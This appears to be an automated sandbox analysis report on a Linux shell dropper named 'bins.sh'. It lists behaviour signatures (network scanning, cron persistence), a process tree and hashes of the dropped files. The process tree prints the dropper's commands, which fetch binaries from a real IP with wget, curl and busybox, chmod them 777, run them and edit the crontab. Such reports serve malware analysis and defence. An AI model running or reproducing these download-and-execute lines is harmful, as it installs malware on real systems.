Analysis

  • max time kernel
    84s
  • max time network
    139s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240611-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    21/11/2024, 10:22

General

  • Target
    bins.sh
  • Size 10KB
  • Sample241121-md8ngasaml
  • SHA256 ee06e4cbf1285bfe61e7847dbdc807b5011ef76d78cd14cf70228c7fb001939c
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • Contacts a large (1763) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 5 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 5 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Checks CPU configuration 1 TTPs 5 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 5 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 15 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:657
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:664
        • /usr/bin/wget
          wget http://87.120.125.191/bins/Q6q2dbdYHJ2nWHtbutuv1pF7dIWx1uIDOH
          2⤵
          • Writes file to tmp directory
          PID:666
        • /usr/bin/curl
          curl -O http://87.120.125.191/bins/Q6q2dbdYHJ2nWHtbutuv1pF7dIWx1uIDOH
          2⤵
          • Checks CPU configuration
          • Writes file to tmp directory
          PID:673
        • /bin/busybox
          /bin/busybox wget http://87.120.125.191/bins/Q6q2dbdYHJ2nWHtbutuv1pF7dIWx1uIDOH
          2⤵
          • Writes file to tmp directory
          PID:682
        • /bin/chmod
          chmod 777 Q6q2dbdYHJ2nWHtbutuv1pF7dIWx1uIDOH
          2⤵
          • File and Directory Permissions Modification
          PID:684
        • /tmp/Q6q2dbdYHJ2nWHtbutuv1pF7dIWx1uIDOH
          ./Q6q2dbdYHJ2nWHtbutuv1pF7dIWx1uIDOH
          2⤵
          • Executes dropped EXE
          PID:685
        • /bin/rm
          rm Q6q2dbdYHJ2nWHtbutuv1pF7dIWx1uIDOH
          2⤵
            PID:689
          • /usr/bin/wget
            wget http://87.120.125.191/bins/3yb5zbu6YTXPCtjWcaitOxtMWOV9GkBsby
            2⤵
            • Writes file to tmp directory
            PID:690
          • /usr/bin/curl
            curl -O http://87.120.125.191/bins/3yb5zbu6YTXPCtjWcaitOxtMWOV9GkBsby
            2⤵
            • Checks CPU configuration
            • Writes file to tmp directory
            PID:694
          • /bin/busybox
            /bin/busybox wget http://87.120.125.191/bins/3yb5zbu6YTXPCtjWcaitOxtMWOV9GkBsby
            2⤵
            • Writes file to tmp directory
            PID:697
          • /bin/chmod
            chmod 777 3yb5zbu6YTXPCtjWcaitOxtMWOV9GkBsby
            2⤵
            • File and Directory Permissions Modification
            PID:698
          • /tmp/3yb5zbu6YTXPCtjWcaitOxtMWOV9GkBsby
            ./3yb5zbu6YTXPCtjWcaitOxtMWOV9GkBsby
            2⤵
            • Executes dropped EXE
            PID:699
          • /bin/rm
            rm 3yb5zbu6YTXPCtjWcaitOxtMWOV9GkBsby
            2⤵
              PID:701
            • /usr/bin/wget
              wget http://87.120.125.191/bins/ggi8YJ5tansDThG5yNTP7H9YCUo27WqnXV
              2⤵
              • Writes file to tmp directory
              PID:702
            • /usr/bin/curl
              curl -O http://87.120.125.191/bins/ggi8YJ5tansDThG5yNTP7H9YCUo27WqnXV
              2⤵
              • Checks CPU configuration
              • Writes file to tmp directory
              PID:703
            • /bin/busybox
              /bin/busybox wget http://87.120.125.191/bins/ggi8YJ5tansDThG5yNTP7H9YCUo27WqnXV
              2⤵
              • Writes file to tmp directory
              PID:704
            • /bin/chmod
              chmod 777 ggi8YJ5tansDThG5yNTP7H9YCUo27WqnXV
              2⤵
              • File and Directory Permissions Modification
              PID:705
            • /tmp/ggi8YJ5tansDThG5yNTP7H9YCUo27WqnXV
              ./ggi8YJ5tansDThG5yNTP7H9YCUo27WqnXV
              2⤵
              • Executes dropped EXE
              PID:706
            • /bin/rm
              rm ggi8YJ5tansDThG5yNTP7H9YCUo27WqnXV
              2⤵
                PID:708
              • /usr/bin/wget
                wget http://87.120.125.191/bins/U45E7zB0Vw9XYLMCfGeUg9uDjcuSApvz9T
                2⤵
                • Writes file to tmp directory
                PID:709
              • /usr/bin/curl
                curl -O http://87.120.125.191/bins/U45E7zB0Vw9XYLMCfGeUg9uDjcuSApvz9T
                2⤵
                • Checks CPU configuration
                • Writes file to tmp directory
                PID:712
              • /bin/busybox
                /bin/busybox wget http://87.120.125.191/bins/U45E7zB0Vw9XYLMCfGeUg9uDjcuSApvz9T
                2⤵
                • Writes file to tmp directory
                PID:718
              • /bin/chmod
                chmod 777 U45E7zB0Vw9XYLMCfGeUg9uDjcuSApvz9T
                2⤵
                • File and Directory Permissions Modification
                PID:720
              • /tmp/U45E7zB0Vw9XYLMCfGeUg9uDjcuSApvz9T
                ./U45E7zB0Vw9XYLMCfGeUg9uDjcuSApvz9T
                2⤵
                • Executes dropped EXE
                PID:721
              • /bin/rm
                rm U45E7zB0Vw9XYLMCfGeUg9uDjcuSApvz9T
                2⤵
                  PID:723
                • /usr/bin/wget
                  wget http://87.120.125.191/bins/egiptpRqNDCnEQ9YdAN5fxXGv8jkEQ05og
                  2⤵
                  • System Network Configuration Discovery
                  • Writes file to tmp directory
                  PID:725
                • /usr/bin/curl
                  curl -O http://87.120.125.191/bins/egiptpRqNDCnEQ9YdAN5fxXGv8jkEQ05og
                  2⤵
                  • Checks CPU configuration
                  • Reads runtime system information
                  • System Network Configuration Discovery
                  • Writes file to tmp directory
                  PID:728
                • /bin/busybox
                  /bin/busybox wget http://87.120.125.191/bins/egiptpRqNDCnEQ9YdAN5fxXGv8jkEQ05og
                  2⤵
                  • System Network Configuration Discovery
                  • Writes file to tmp directory
                  PID:733
                • /bin/chmod
                  chmod 777 egiptpRqNDCnEQ9YdAN5fxXGv8jkEQ05og
                  2⤵
                  • File and Directory Permissions Modification
                  PID:735
                • /tmp/egiptpRqNDCnEQ9YdAN5fxXGv8jkEQ05og
                  ./egiptpRqNDCnEQ9YdAN5fxXGv8jkEQ05og
                  2⤵
                  • Executes dropped EXE
                  • Renames itself
                  • Reads runtime system information
                  • System Network Configuration Discovery
                  PID:736
                  • /bin/sh
                    sh -c "crontab -l"
                    3⤵
                      PID:738
                      • /usr/bin/crontab
                        crontab -l
                        4⤵
                          PID:740
                      • /bin/sh
                        sh -c "crontab -"
                        3⤵
                          PID:742
                          • /usr/bin/crontab
                            crontab -
                            4⤵
                            • Creates/modifies Cron job
                            PID:744
                      • /bin/rm
                        rm egiptpRqNDCnEQ9YdAN5fxXGv8jkEQ05og
                        2⤵
                        • System Network Configuration Discovery
                        PID:748
                      • /usr/bin/wget
                        wget http://87.120.125.191/bins/16AuKiZRP7k0SwPh7meRu8VLQQO7cvNnE2
                        2⤵
                          PID:752

                      Network

                            MITRE ATT&CK Enterprise v15

                            Replay Monitor

                            Loading Replay Monitor...

                            Downloads

                            3yb5zbu6YTXPCtjWcaitOxtMWOV9GkBsby

                            • Path /tmp/3yb5zbu6YTXPCtjWcaitOxtMWOV9GkBsby
                            • Size 111KB
                            • SHA256 043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832
                            • MD5 SHA1 SHA512 SSDEEP

                            Q6q2dbdYHJ2nWHtbutuv1pF7dIWx1uIDOH

                            • Path /tmp/Q6q2dbdYHJ2nWHtbutuv1pF7dIWx1uIDOH
                            • Size 111KB
                            • SHA256 ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588
                            • MD5 SHA1 SHA512 SSDEEP

                            U45E7zB0Vw9XYLMCfGeUg9uDjcuSApvz9T

                            • Path /tmp/U45E7zB0Vw9XYLMCfGeUg9uDjcuSApvz9T
                            • Size 112KB
                            • SHA256 2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70
                            • MD5 SHA1 SHA512 SSDEEP

                            egiptpRqNDCnEQ9YdAN5fxXGv8jkEQ05og

                            • Path /tmp/egiptpRqNDCnEQ9YdAN5fxXGv8jkEQ05og
                            • Size 119KB
                            • SHA256 94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9
                            • MD5 SHA1 SHA512 SSDEEP

                            ggi8YJ5tansDThG5yNTP7H9YCUo27WqnXV

                            • Path /tmp/ggi8YJ5tansDThG5yNTP7H9YCUo27WqnXV
                            • Size 122KB
                            • SHA256 0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944
                            • MD5 SHA1 SHA512 SSDEEP

                            tmp.urpsq1

                            • Path /var/spool/cron/crontabs/tmp.urpsq1
                            • Size 210B
                            • SHA256 d269ce03402b77168c1c173f55b865f3eb71fb95c9b61501406f9b7b737ba4a7
                            • MD5 SHA1 SHA512